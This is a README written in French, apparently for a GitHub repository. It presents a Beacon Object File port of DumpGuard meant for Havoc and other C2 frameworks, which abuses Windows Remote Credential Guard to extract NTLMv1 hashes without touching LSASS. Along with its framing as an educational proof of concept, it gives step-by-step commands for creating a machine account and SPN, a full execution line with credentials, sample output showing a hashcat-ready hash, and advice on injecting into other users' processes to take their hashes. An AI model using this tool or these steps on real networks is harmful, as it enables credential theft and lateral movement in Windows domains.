
Portage Beacon Object File (BOF) de DumpGuard pour extraire les hachages NTLMv1 des sessions sur les systèmes Windows modernes.
Port Beacon Object File (BOF) de DumpGuard pour extraire les hachages NTLMv1 des sessions sur les systèmes Windows modernes.

Ce dépôt contient une implémentation Beacon Object File (BOF) de DumpGuard, portée de l'implémentation originale C#/.NET vers du C pur pour une utilisation avec Havoc et autres frameworks C2 prenant en charge l'exécution de BOF.
Ceci est une Preuve de Concept (PoC) et un exercice d'apprentissage.
Ce port BOF a été créé dans le cadre de mon parcours personnel pour comprendre les détails du protocole Remote Credential Guard, les flux d'authentification Kerberos et les mécanismes de sécurité sous-jacents de Windows. Le processus de portage de cet outil de C# vers du C pur pour l'exécution BOF était principalement un effort éducatif.
Veuillez noter que :
Si vous trouvez des problèmes ou avez des améliorations, les contributions sont les bienvenues. Pour une implémentation robuste et bien testée, veuillez vous référer à l'outil DumpGuard original.
Ce BOF est basé sur les recherches et les outils de @bytewreck chez SpecterOps :
DumpGuard exploite Windows Remote Credential Guard (RCG) pour extraire les hachages NTLMv1 des utilisateurs connectés sans toucher à la mémoire LSASS et sans nécessiter de privilèges administrateur. Il fonctionne même lorsque Credential Guard est activé.
TSRemoteGuardCreds.Après le tour 4, nous avons le blob d'identifiants chiffré. La magie opère lorsque nous appelons LsaCallAuthenticationPackage avec le package TSSSP. LSA achemine notre requête via RDPEAR -> TSRemoteGuard -> MSV1_0, qui déchiffre les secrets et calcule la réponse NTLMv1 pour nous.
Credential Guard isole les secrets NTLM et Kerberos dans un espace VBS sécurisé (LsaIso.exe), empêchant les attaques directes sur la mémoire comme Mimikatz. Cependant, Credential Guard doit encore utiliser ces secrets pour une authentification légitime. C'est l'interface qu'exploite cette technique.
Pour une analyse technique complète, voir : Catching Credential Guard Off Guard
Ce port BOF n'implémente que le mode "Self" de l'outil DumpGuard original. Les modes "All" ne sont pas implémentés dans cette version.
Extrait le hachage NTLMv1 de l'utilisateur du processus actuel via le protocole Remote Credential Guard.
Bien que ce BOF n'implémente que le mode "self", vous pouvez toujours extraire les hachages NTLMv1 d'autres utilisateurs en injectant, par exemple, dans un processus s'exécutant sous cet utilisateur. Par exemple, si vous avez des privilèges administrateur, vous pouvez injecter le BOF dans un processus appartenant à un autre utilisateur connecté pour obtenir son hachage.
Cette technique nécessite les identifiants d'un compte disposant d'un Service Principal Name (SPN) enregistré. Une façon d'y parvenir est de créer un compte machine et d'y ajouter un SPN.
Avec Impacket :
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
Exemple de sortie :
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
Avec krbrelayx addspn.py :
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
Avec pywerview :
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
Recherchez serviceprincipalname: host/yourspn.domain.local dans la sortie.
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
Remarque : Le paramètre
xest un argument factice requis avant le domaine. Cela pourra être corrigé dans de futures versions (le cas échéant).
Exemple :
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
Exemple de sortie :
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
Important : Le hachage NTLMv1 extrait appartient à l'utilisateur exécutant le processus BOF, pas au compte machine utilisé pour l'authentification (
EVIL_COMPUTER$). Les identifiants du compte machine ne sont utilisés que pour s'authentifier auprès du KDC et établir la session Remote Credential Guard.
La sortie est au format NTLMv1 compatible hashcat :
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
Sortie : build/dumpguard.x64.o
Licence BSD 3-Clause
L'outil DumpGuard original est sous licence BSD 3-Clause, Copyright (c) 2025 Valdemar Carøe. Ce port BOF maintient les mêmes conditions de licence.
Pour toute question, rapport de bogue ou contribution, veuillez ouvrir un ticket sur GitHub.
| Tour | Client -> Serveur | Serveur -> Client |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (du vrai KDC) |
| 2 | AP-REQ (ticket de service) | AP-REP + MIC |
| 3 | PubKeyAuth (hash de liaison) | Hash de liaison du serveur |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |